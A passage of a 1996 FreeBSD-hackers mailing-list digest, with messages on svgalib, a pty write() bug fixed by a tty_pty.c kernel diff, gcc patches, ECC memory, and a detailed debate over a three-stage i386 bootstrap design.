14 May 1996 10:21:59 +0300 Received: by pooh.tky.hut.fi (KAA03712); Tue, 14 May 1996 10:22:01 +0300 (EET DST) Date: Tue, 14 May 1996 10:22:01 +0300 (EET DST) Message-Id: <199605140722.KAA03712@pooh.tky.hut.fi> From: Timo J Rinne To: hackers@freebsd.org Subject: svgalib for current? (and doscmd) Reply-to: tri@iki.fi Organization: Helsinki University of Technology, Espoo, Finland Mime-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8bit X-Face: 7N&%4=;/9+e`m7vVp3kmZ^FZ~;TBHua/@dBeFi*{xAoyz+8feePXCUmOK[GaY*0[QU`{lo *D3.D?xc>nBKUHDdXo)*OiG-MGf-a2dCZ5{yYMZV9:+H1h:%g$']XOPwUx{<5fH@l?+U8B Cr!lG(V:g=`_gdg86&u$/ez/jG_H3uU8!TB&ZuEz-BKqfBL3HGS@oA#,GsugP3o3.ckI- Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi I wonder if someone has looked into the possibility to port svgalib (Linux) for FreeBSD. It seems to have some kernel support in Linux, but I can't really understand what is it needed for. BTW, The doscmd project kind of died or what? Too bad. In NetBSD it is running quite well. Regards, //Rinne From owner-freebsd-hackers Tue May 14 01:21:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA04357 for hackers-outgoing; Tue, 14 May 1996 01:21:45 -0700 (PDT) Received: from aic.net (AIC.NET [194.67.30.65]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA03654 for ; Tue, 14 May 1996 01:20:58 -0700 (PDT) From: edd@aic.net Received: by aic.net (8.7.3/8.7.3) id MAA03214; Tue, 14 May 1996 12:19:07 +0400 (AMST) Message-Id: <199605140819.MAA03214@aic.net> Subject: Re: Help To: bugnet@ix.netcom.com (TeeN-ZinE) Date: Tue, 14 May 1996 12:19:07 +0400 (AMST) Cc: hackers@FreeBSD.org In-Reply-To: <317CE6D3.48C7@ix.netcom.com> from "TeeN-ZinE" at Apr 23, 96 10:19:00 pm Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Ok i have been tryin to optain a Unix type system for a while now via > FTP. But as you know it can be hell. I was wondering if you can tell me > what directories i would need to download to get the system and where > and how i would install them. the help files make no since to me at all. > I would be very greatful. Thanks oh ma god... visit http://www.freebsd.org and read instructions... -edd -- The flight control software for the entire U.S. Space Shuttle program is roughly 500,000 lines of code, or 1/29th the size of Windows 95... From owner-freebsd-hackers Tue May 14 02:22:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA22626 for hackers-outgoing; Tue, 14 May 1996 02:22:11 -0700 (PDT) Received: from bowden.uces.bangor.ac.uk (bowden.uces.bangor.ac.uk [147.143.15.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA22615 for ; Tue, 14 May 1996 02:21:45 -0700 (PDT) Received: from newton.uces (newton.uces.bangor.ac.uk) by bowden.uces.bangor.ac.uk; Tue, 14 May 96 10:20:04 BST Received: by newton.uces (SMI-8.6/SMI-SVR4) id KAA04825; Tue, 14 May 1996 10:20:44 +0100 Date: Tue, 14 May 1996 10:20:44 +0100 From: tom@uces.bangor.ac.uk (Tom Crummey (ADM)) Message-Id: <199605140920.KAA04825@newton.uces> To: freebsd-hackers@freebsd.org Subject: write and pty's X-Sun-Charset: US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, I sent this message to freebsd-questions, but it is probably better on this list. If you do reply to this, could you copy to me directly as I'm not on the hackers list (yet). Thanks. ----- Begin Included Message ----- >From owner-freebsd-questions@freefall.freebsd.org Fri May 10 02:01:21 1996 Original-Received: from localhost (daemon@localhost) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA27629 Thu, 9 May 1996 15:31:30 -0700 (PDT) Pp-Warning: Illegal Received field on preceding line From: Tom Crummey (ADM) Subject: write and pty's To: freebsd-questions@freebsd.org Date: Thu, 9 May 96 23:29:56 BST X-Mailer: ELM [version 2.3 PL11] Sender: owner-questions@freebsd.org X-Loop: FreeBSD.org Content-Length: 1815 Hello, I have been trying to track down a problem in the xview library code which causes the cmdtool program to continuously output to the pty it is using. For example, start a cmdtool and type return. You will get a continuous stream of prompts as if you were continually typing the return key. After some hours with xxgdb and libraries compiled with debugging symbols, I tracked the problem to a write call. This write call returns 0 even though it appears that a charater has been written. The fact that this call returns 0 means that the write pointer in the cmdtool code is not updated and so it is written again etc. (you get the picture) It seems that there is a problem with the write system call returning 0 instead of the number of characters written in this particular case. The pty is supposedly not in remote mode. Does anyone have any idea why the write call would return 0 even when characters have been written? Could anyone who knows the pty kernel code comment? I can send the segment of code involved, but I suspect it won't help as there is too much context requried to see what is going on. I think I might be getting slightly out of my depth..... glug ..glug... I am running FreeBSD-2.2-SNAP 960128 with the xview-3.2 patched for X11R6. The problem also exists on 2.1-RELEASE. -- Tom. ---------------------------------------------------------------------------- Tom Crummey, EMAIL: tom@uces.bangor.ac.uk | /\ University of Wales, Bangor, | / \/\ Unit for Coastal and Estuarine Studies, | /\/ \ \ Ynys Faelog, Menai Bridge, TEL: +44 (0)1248 713808 |/ ======\=\ Gwynedd, LL59 5EY, U.K. FAX: +44 (0)1248 716729 | B A N G O R ---------------------------------------------------------------------------- ----- End Included Message ----- From owner-freebsd-hackers Tue May 14 03:23:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA27250 for hackers-outgoing; Tue, 14 May 1996 03:23:02 -0700 (PDT) Received: from hda.com (ip25-max1-fitch.zipnet.net [199.232.245.25]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA27245 for ; Tue, 14 May 1996 03:22:54 -0700 (PDT) Received: (from dufault@localhost) by hda.com (8.6.11/8.6.9) id GAA05364; Tue, 14 May 1996 06:30:41 -0400 From: Peter Dufault Message-Id: <199605141030.GAA05364@hda.com> Subject: Re: Patches for gcc 2.7.2 To: hackers@freebsd.org Date: Tue, 14 May 1996 06:30:40 -0400 (EDT) Cc: dutchman@spase.nl In-Reply-To: <14582.832011000@palmer.demon.co.uk> from "Gary Palmer" at May 13, 96 07:10:00 pm Reply-to: hdalog@zipnet.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Kees Jan Koster wrote in message ID > <199605130824.KAA29130@phobos.spase.nl>: > > Could someone help me out or does anyone have patches for 2.7.2? What should > > I patch out/in? > > Have you tried the pgcc port? It is GCC 2.7.2 and has the Pentium > optimization patches already applied... I'm not 100% sure if it will > work out of the box on -stable tho. It did as of 2 months ago for Ptolemy (which is pretty big) using the .weak patch. I'm not sure if that is incorporated in the port now. -- Peter Dufault Real-Time Machine Control and Simulation HD Associates, Inc. Voice: 508 433 6936 dufault@hda.com Fax: 508 433 5267 From owner-freebsd-hackers Tue May 14 06:17:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA08283 for hackers-outgoing; Tue, 14 May 1996 06:17:56 -0700 (PDT) Received: from Glock.COM (root@glock.com [198.82.228.165]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA08263; Tue, 14 May 1996 06:17:51 -0700 (PDT) Received: (from mmead@localhost) by Glock.COM (8.7.3/8.7.3) id JAA07905; Tue, 14 May 1996 09:13:28 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605141313.JAA07905@Glock.COM> Subject: Re: Triton chipset with 256k cache caches 32M only? To: joerg_wunsch@uriah.heep.sax.de Date: Tue, 14 May 1996 09:13:28 -0400 (EDT) Cc: blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org In-Reply-To: <199605132318.BAA02422@uriah.heep.sax.de> from "J Wunsch" at May 14, 96 01:18:16 am X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk J Wunsch writes: > As Brett L. Hawn wrote: > > I would highly suggest getting some of the new > > ASUS (just my particular favorite) tr-2 chipset motherboards, these solve > > the caching problem along with many of the other inherent bugs of tr-1 > > chipsets. > They even can do ECC now if you're using parity SIMMs! > (About to get my new board into service by tomorrow or thursday. :) I'd really like to do ECC, I just don't have the money for it right now. So does this ECC work the same as the ECC on DEC Alphas? On the Alphas, you put in 5M for every 4M of addressable ram. Is there a fifth simm slot on these motherboards where a non ECC capable motherboard would have 4? -matt -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Tue May 14 07:37:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA13942 for hackers-outgoing; Tue, 14 May 1996 07:37:44 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA13934 for ; Tue, 14 May 1996 07:37:39 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id AAA23535; Wed, 15 May 1996 00:16:41 +0930 From: Michael Smith Message-Id: <199605141446.AAA23535@genesis.atrad.adelaide.edu.au> Subject: Re: Making a three-stage boot To: wpaul@skynet.ctr.columbia.edu (Bill Paul) Date: Wed, 15 May 1996 00:16:40 +0930 (CST) Cc: freebsd-hackers@freebsd.org, wpaul@skynet.ctr.columbia.edu In-Reply-To: <199605131546.LAA01112@skynet.ctr.columbia.edu> from "Bill Paul" at May 13, 96 11:46:36 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bill Paul stands accused of saying: > > Lately I've been experimenting with creating a three-sgate bootstrap > program. (No, I don't know why. It isn't as if I don't have enough to > do already.) Unfortunately, much as I expected, I've hit a wall. That's OK; I've been thinking about this too 8) > - There is a standalong program called /boot. This program should run > in protected mode, but have the same ability to perform real mode > BIOS operations as the existing second-stage bootstrap. I believe it Hmm. I'm not convinced that it should run in protected mode. Why not run in real mode and avoid having to switch back and forth until the time comes to load the kernel? > has to be limited to having at most 64K of text and data, though I > may be mistaken about this. This is the program which will ultimately > read the kernel image from the filesystem and run it. The issue here is which compiler is used to generate the 'boot' program. If we stick with gcc (a wise idea), and use the same approach as the current second-stage bootstrap, then yes, I believe we're limited to 64K in real mode. If 'boot' were running in protected mode, we could go larger without any trouble. > - The /boot program is loaded by a second stage bootstrap, which is > by design very dumb and limited in function. It has a compiled-in > array of disk blocks which tell it where the the /boot program resides > on disk. It also has a compiled-in value for the filesystem blocksize, > and possibly some other magic values. In essence, this second stage I think this hardcoding is a Very Bad Idea. The code to find and read filesystems is already in the second-stage bootstrap, so it fits already. You should search all possible FreeBSD partitions, not just the first one. Alternatively, put the block information in the first part of the 'boot' program. If you were to use the first 512 bytes, and allow 32 bits per physical block, you could map a 64K file. This means that any bootstrap can use the boot program, not just one written to explicitly know where it is. (Think using a second-stage bootstrap off a floppy). > need any code to grok a UFS filesystem; it doesn't need any keyboard or > serial port I/O code since it doesn't have to interact with the user. It should be able to report on its progress searching for a 'boot' program. > arrays populated with magic numbers. The installboot program reads in > the second stage image and stops when it reaches the magic numbers, then > overwrites them with the proper disk block values. (This is ugly, but > it's the only way I could find to do it without a symbol table.) It's the 'traditional method'. 8) > to load it. Also, by patching values into the bootstrap, we can save > other information, such as the proper disk geometry of the boot drive, > or anything else that it would be useful to save. The one restriction > here is that /boot must remain where it is. If it is moved, the installboot > program must be run again in order to install a new second stage boot > with a new set of physical block numbers. Better still, never mind about all these other parameters. Because 'boot' is using the BIOS and is much larger, it can nut these out itself. It can also read and maybe write UFS filesystems, so it can maintain a seperate configuration file. Obviously then we move userconfig() into 'boot', and have it be able to read configurations out of kernels. > - The standalone image obviously needs some sort of assembly language > startup routine, only I'm not adept enough at 386 protected-mode > assembly language to write it myself. (What would really help is if > we had some sort of 'libsa' standalone library. 4.4BSD-Lite had one > for the i386 architecture, but it relied on special protected-mode > drivers. It would be terrific if we had one that used the BIOS > instead.) Stick to real mode. Calling the BIOS out of real mode is Relatively Easy. In real mode, about all you'll have to do is setup ds and ss. If you're determined to do the protected-mode thing, have a look at how the DJGPP stuff works. (The go32 DOS extender etc.) Note that this is serious overkill for this application. 8) > - Assuming I had a startup routine (and the right code to do the real-mode > BIOS operations), how exactly do I link the image? > > o Should it be a ZMAGIC binary like the kernel? Or should it > be OMAGIC like the existing bootstrap? It probably wants to be PIC or possibly loaded somewhere lowish like 2000:0. You'll want to consider whether 'boot' will be loaded by the 'fbsdboot.exe' program, or whether 'boot's functionality will be incorporated into it. Also consider those that use the Linix 'lilo' tool. > - How do I hand off control to the standalone image from the second > stage bootstrap? Can I use the same startprog() routine that the > existing bootstrap uses to kick off the kernel? If not, what do I > use instead? If it's in real mode, you just do a far jump to it. You'll need to work out who's responsible for ss and ds, and get this clear with the compiler too. > Basically, this is deep magic, and I'm not yet a clever enough magician > to make it all work. I _want_ to learn how to do this, but I'm not making > much progress. If anyone can shed some light on this subject, either > by pointing me at some in-depth documentation (that preferably doesn't > need to be viewed with a stinking web browser) or answering some of the > above questions, I'd greatly appreciate it. Hmm. I'm not all that much of a magician either 8( If any of the above is helpful, great! There are lots of wonderful things that could be done with such an approach. > -Bill -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue May 14 08:21:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA17258 for hackers-outgoing; Tue, 14 May 1996 08:21:19 -0700 (PDT) Received: from Root.COM (implode.Root.COM [198.145.90.17]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA17239; Tue, 14 May 1996 08:21:11 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by Root.COM (8.7.5/8.6.5) with SMTP id IAA12912; Tue, 14 May 1996 08:14:39 -0700 (PDT) Message-Id: <199605141514.IAA12912@Root.COM> X-Authentication-Warning: implode.Root.COM: Host localhost [127.0.0.1] didn't use HELO protocol To: "matthew c. mead" cc: joerg_wunsch@uriah.heep.sax.de, blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org Subject: Re: Triton chipset with 256k cache caches 32M only? In-reply-to: Your message of "Tue, 14 May 1996 09:13:28 EDT." <199605141313.JAA07905@Glock.COM> From: David Greenman Reply-To: davidg@Root.COM Date: Tue, 14 May 1996 08:14:38 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >J Wunsch writes: > >> As Brett L. Hawn wrote: > >> > I would highly suggest getting some of the new >> > ASUS (just my particular favorite) tr-2 chipset motherboards, these solve >> > the caching problem along with many of the other inherent bugs of tr-1 >> > chipsets. > >> They even can do ECC now if you're using parity SIMMs! > >> (About to get my new board into service by tomorrow or thursday. :) > > I'd really like to do ECC, I just don't have the money for it right >now. So does this ECC work the same as the ECC on DEC Alphas? On the Alphas, >you put in 5M for every 4M of addressable ram. Is there a fifth simm slot on >these motherboards where a non ECC capable motherboard would have 4? No, it uses the parity bits. Only 8 syndrome bits are needed for 64bit words. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Tue May 14 08:22:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA17364 for hackers-outgoing; Tue, 14 May 1996 08:22:05 -0700 (PDT) Received: from Glock.COM (root@glock.com [198.82.228.165]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA17325; Tue, 14 May 1996 08:21:52 -0700 (PDT) Received: (from mmead@localhost) by Glock.COM (8.7.3/8.7.3) id LAA08531; Tue, 14 May 1996 11:18:15 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605141518.LAA08531@Glock.COM> Subject: Re: Triton chipset with 256k cache caches 32M only? To: davidg@Root.COM Date: Tue, 14 May 1996 11:18:14 -0400 (EDT) Cc: joerg_wunsch@uriah.heep.sax.de, blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org In-Reply-To: <199605141514.IAA12912@Root.COM> from "David Greenman" at May 14, 96 08:14:38 am X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk David Greenman writes: > > I'd really like to do ECC, I just don't have the money for > >it right now. So does this ECC work the same as the ECC > >on DEC Alphas? On the Alphas, you put in 5M for every 4M > >of addressable ram. Is there a fifth simm slot on these > >motherboards where a non ECC capable motherboard would have 4? > No, it uses the parity bits. Only 8 syndrome bits are needed > for 64bit words. Hmm. So does that mean the ECC is limited to single (odd number of) bit errors? -matt -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Tue May 14 08:29:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA17872 for hackers-outgoing; Tue, 14 May 1996 08:29:04 -0700 (PDT) Received: from Root.COM (implode.Root.COM [198.145.90.17]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA17853; Tue, 14 May 1996 08:28:56 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by Root.COM (8.7.5/8.6.5) with SMTP id IAA12962; Tue, 14 May 1996 08:22:48 -0700 (PDT) Message-Id: <199605141522.IAA12962@Root.COM> X-Authentication-Warning: implode.Root.COM: Host localhost [127.0.0.1] didn't use HELO protocol To: "matthew c. mead" cc: joerg_wunsch@uriah.heep.sax.de, blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org Subject: Re: Triton chipset with 256k cache caches 32M only? In-reply-to: Your message of "Tue, 14 May 1996 11:18:14 EDT." <199605141518.LAA08531@Glock.COM> From: David Greenman Reply-To: davidg@Root.COM Date: Tue, 14 May 1996 08:22:48 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >David Greenman writes: > >> > I'd really like to do ECC, I just don't have the money for >> >it right now. So does this ECC work the same as the ECC >> >on DEC Alphas? On the Alphas, you put in 5M for every 4M >> >of addressable ram. Is there a fifth simm slot on these >> >motherboards where a non ECC capable motherboard would have 4? > >> No, it uses the parity bits. Only 8 syndrome bits are needed >> for 64bit words. > > Hmm. So does that mean the ECC is limited to single (odd >number of) bit errors? ECC has single bit error correction and 2 bit error detection. Better than parity no matter how you slice it. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Tue May 14 08:42:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA19063 for hackers-outgoing; Tue, 14 May 1996 08:42:18 -0700 (PDT) Received: from lenzi ([200.247.248.110]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id IAA19035; Tue, 14 May 1996 08:41:40 -0700 (PDT) Received: (from lenzi@localhost) by lenzi (8.6.12/8.6.12) id MAA04888; Tue, 14 May 1996 12:42:43 -0300 Date: Tue, 14 May 1996 12:42:42 -0300 (EST) From: "Lenzi, Sergio" X-Sender: lenzi@lenzi To: Bernd Rosauer cc: freebsd-ports@freebsd.org, lehey.pad@sni.de, jhs@freebsd.org, question@freebsd.org, hackers@freebsd.org Subject: Re: Databases In-Reply-To: <199605141046.MAA22639@stiller.netland.inka.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 May 1996, Bernd Rosauer wrote: > > I have a port of Postgres95 1.01 running here. Satoshi pointed me > to lenzi@mtm.ufsc.br who shall also be working on it. I tried to > contact lenzi but didn't receive any reply. > Hello all I (lenzi) have moved to bsi.com.br.. My account (university) has expired. Now I work at bsi.. lenzi@bsi.com.br. I have postgres and Ingres working. In fact all accounting for login users at bsi is make in Ingres. As an example, try: http://www.bsi.com.br/anuncios/insert.html and http://www.bsi.com.br/anuncios/pesquisa.html They are examples of advetising on the net (in portuguese, sorry). But you can have an Idea of. From owner-freebsd-hackers Tue May 14 09:10:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA20714 for hackers-outgoing; Tue, 14 May 1996 09:10:08 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA20708 for ; Tue, 14 May 1996 09:10:05 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id CAA10288; Wed, 15 May 1996 02:01:34 +1000 Date: Wed, 15 May 1996 02:01:34 +1000 From: Bruce Evans Message-Id: <199605141601.CAA10288@godzilla.zeta.org.au> To: freebsd-hackers@FreeBSD.org, tom@uces.bangor.ac.uk Subject: Re: write and pty's Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >... >After some hours with xxgdb and libraries compiled with debugging symbols, >I tracked the problem to a write call. This write call returns 0 even >though it appears that a charater has been written. The fact that this >call returns 0 means that the write pointer in the cmdtool code is not >updated and so it is written again etc. (you get the picture) >... >I am running FreeBSD-2.2-SNAP 960128 with the xview-3.2 patched for X11R6. >The problem also exists on 2.1-RELEASE. This should be fixed in current SNAPs and stables (versions after April 11). It happened for most writes of more than about 100 bytes if PF_REMOTE was set. Bruce Index: tty_pty.c =================================================================== RCS file: /a/ncvs/src/sys/kern/tty_pty.c,v retrieving revision 1.37 retrieving revision 1.38 diff -c -1 -r1.37 -r1.38 *** tty_pty.c 1996/03/11 02:24:39 1.37 --- tty_pty.c 1996/04/11 18:43:37 1.38 *************** *** 33,35 **** * @(#)tty_pty.c 8.4 (Berkeley) 2/20/95 ! * $Id: tty_pty.c,v 1.37 1996/03/11 02:24:39 hsu Exp $ */ --- 33,35 ---- * @(#)tty_pty.c 8.4 (Berkeley) 2/20/95 ! * $Id: tty_pty.c,v 1.38 1996/04/11 18:43:37 bde Exp $ */ *************** *** 536,539 **** } ! if (cc) ! cc -= b_to_q((char *)cp, cc, &tp->t_canq); } --- 536,550 ---- } ! if (cc > 0) { ! cc = b_to_q((char *)cp, cc, &tp->t_canq); ! /* ! * XXX we don't guarantee that the canq size ! * is >= TTYHOG, so the above b_to_q() may ! * leave some bytes uncopied. However, space ! * is guaranteed for the null terminator if ! * we don't fail here since (TTYHOG - 1) is ! * not a multiple of CBSIZE. ! */ ! if (cc > 0) ! break; ! } } *************** *** 576,578 **** * Come here to wait for slave to open, for space ! * in outq, or space in rawq. */ --- 587,589 ---- * Come here to wait for slave to open, for space ! * in outq, or space in rawq, or an empty canq. */ From owner-freebsd-hackers Tue May 14 09:12:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA20888 for hackers-outgoing; Tue, 14 May 1996 09:12:20 -0700 (PDT) Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA20882 for ; Tue, 14 May 1996 09:12:12 -0700 (PDT) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id MAA02641; Tue, 14 May 1996 12:08:58 -0400 From: Bill Paul Message-Id: <199605141608.MAA02641@skynet.ctr.columbia.edu> Subject: Re: Making a three-stage boot To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Tue, 14 May 1996 12:08:57 -0400 (EDT) Cc: freebsd-hackers@freebsd.org In-Reply-To: <199605141446.AAA23535@genesis.atrad.adelaide.edu.au> from "Michael Smith" at May 15, 96 00:16:40 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Of all the gin joints in all the world, Michael Smith had to walk into mine and say: > Bill Paul stands accused of saying: > > > > Lately I've been experimenting with creating a three-sgate bootstrap > > program. (No, I don't know why. It isn't as if I don't have enough to > > do already.) Unfortunately, much as I expected, I've hit a wall. > > That's OK; I've been thinking about this too 8) > > > - There is a standalong program called /boot. This program should run > > in protected mode, but have the same ability to perform real mode > > BIOS operations as the existing second-stage bootstrap. I believe it > > Hmm. I'm not convinced that it should run in protected mode. Why not run > in real mode and avoid having to switch back and forth until the time comes > to load the kernel? Well, for a couple of reasons. First, generating real mode executables is hard (we have assembly that starts off in real mode and changes to protected mode now). Second, the kernel is loaded above 1MB, and you have to be in protected mode to do that. The second stage bootstrap accomplishes this by running in protected mode and then switching to real mode to do BIOS stuff, which is in itself a third reason, namely don't re-invent the wheel if you can avoid it. :) > > has to be limited to having at most 64K of text and data, though I > > may be mistaken about this. This is the program which will ultimately > > read the kernel image from the filesystem and run it. > > The issue here is which compiler is used to generate the 'boot' program. > If we stick with gcc (a wise idea), and use the same approach as the > current second-stage bootstrap, then yes, I believe we're limited to > 64K in real mode. If 'boot' were running in protected mode, we could go > larger without any trouble. Okay. No problem then. > > - The /boot program is loaded by a second stage bootstrap, which is > > by design very dumb and limited in function. It has a compiled-in > > array of disk blocks which tell it where the the /boot program resides > > on disk. It also has a compiled-in value for the filesystem blocksize, > > and possibly some other magic values. In essence, this second stage > > I think this hardcoding is a Very Bad Idea. Well, SunOS has used this scheme successfully for a long time. I happen to like the idea. > The code to find and read > filesystems is already in the second-stage bootstrap, so it fits already. > You should search all possible FreeBSD partitions, not just the first one. But I don't want the code that groks the filesystem in the second stage bootstrap. The second stage can't be made big enough to have any fun, which is why we need the third stage. If we're making a third stage anyway, then it should be the one with all the brains. Also, ripping out as much non-essential code as possible leaves more room for the block number array: the more block numbers you can cram in, the larger a third stage bootstrap you can load. The installboot program can patch in block numbers for /boot no matter where it's located (well, unless it's past the 1024th cylinder, of course). Also, I seem to recall people clamoring for a way to stamp disks in such a way as to be able to relate the DOS/BIOS drive ID to FreeBSD's notion of drive IDs (controller/unit). You could use installboot to patch this info into the bootstrap. Yes you have to change it if you change your machine configuration. Well, hey: life is tough. > Alternatively, put the block information in the first part of the 'boot' > program. If you were to use the first 512 bytes, and allow 32 bits per > physical block, you could map a 64K file. This means that any bootstrap > can use the boot program, not just one written to explicitly know where > it is. (Think using a second-stage bootstrap off a floppy). In my current prototype, I have an array of 768 unsigned ints reserved for block numbers. With a blocksize of 4K, this allows me to reference something like 3 MB of data, which is more than you could fit on a floppy anyway. With an 8K blocksize (the default for disk partitions) this goes up to 6 MB. > > need any code to grok a UFS filesystem; it doesn't need any keyboard or > > serial port I/O code since it doesn't have to interact with the user. > > It should be able to report on its progress searching for a 'boot' program. I plan to leave the 'twiddle' function in so that you can see it trying to load sectors. The only errors it can signal are disk read failures: remember that it isn't searching for anything -- it knows exactly where /boot is. > > to load it. Also, by patching values into the bootstrap, we can save > > other information, such as the proper disk geometry of the boot drive, > > or anything else that it would be useful to save. The one restriction > > here is that /boot must remain where it is. If it is moved, the installboot > > program must be run again in order to install a new second stage boot > > with a new set of physical block numbers. > > Better still, never mind about all these other parameters. Because 'boot' > is using the BIOS and is much larger, it can nut these out itself. It > can also read and maybe write UFS filesystems, so it can maintain a > seperate configuration file. No. We're trudging ever closer to '/etc/system' as it is now. I'm not going to contribute to such an abomination if I can help it. Installboot should have access to all sorts of information about the disk configuration, and it takes a trivial amount of effort to just jam it into the executable. > Obviously then we move userconfig() into 'boot', and have it be able to > read configurations out of kernels. Argh. No. Please. One catastrophe at a time, okay? Next you'll be telling me to add devfs support to it, and then I'll be forced to shoot you. > > - The standalone image obviously needs some sort of assembly language > > startup routine, only I'm not adept enough at 386 protected-mode > > assembly language to write it myself. (What would really help is if > > we had some sort of 'libsa' standalone library. 4.4BSD-Lite had one > > for the i386 architecture, but it relied on special protected-mode > > drivers. It would be terrific if we had one that used the BIOS > > instead.) > > Stick to real mode. Calling the BIOS out of real mode is Relatively Easy. But generating real mode code is Relatively Hard. At least with our existing compiler tools. Again, we already have the bits that do this. I'm trying to pull this off using existing tools rather than rewriting everything from scratch. > In real mode, about all you'll have to do is setup ds and ss. See, now you're already over my head. :) > If > you're determined to do the protected-mode thing, have a look at how > the DJGPP stuff works. (The go32 DOS extender etc.) Note that this is > serious overkill for this application. 8) Yeah, no kidding. > > - Assuming I had a startup routine (and the right code to do the real-mode > > BIOS operations), how exactly do I link the image? > > > > o Should it be a ZMAGIC binary like the kernel? Or should it > > be OMAGIC like the existing bootstrap? > > It probably wants to be PIC or possibly loaded somewhere lowish like > 2000:0. You'll want to consider whether 'boot' will be loaded by the > 'fbsdboot.exe' program, or whether 'boot's functionality will be > incorporated into it. Also consider those that use the Linix 'lilo' > tool. PIC? Hm... the existing bootstrap isn't compiled PIC. That would imply runtime relocation hackery, no? To have it loaded by fbsdboot.exe, it would have to be similar to a stripped down kernel. This is not a bad idea, but again I haven't the slightest idea how to do it. As for LILO, if I'm not mistaken, it should continue to work, since I think it just loads the primary bootstrap anyway. From there, LILO is out of the picture. > > - How do I hand off control to the standalone image from the second > > stage bootstrap? Can I use the same startprog() routine that the > > existing bootstrap uses to kick off the 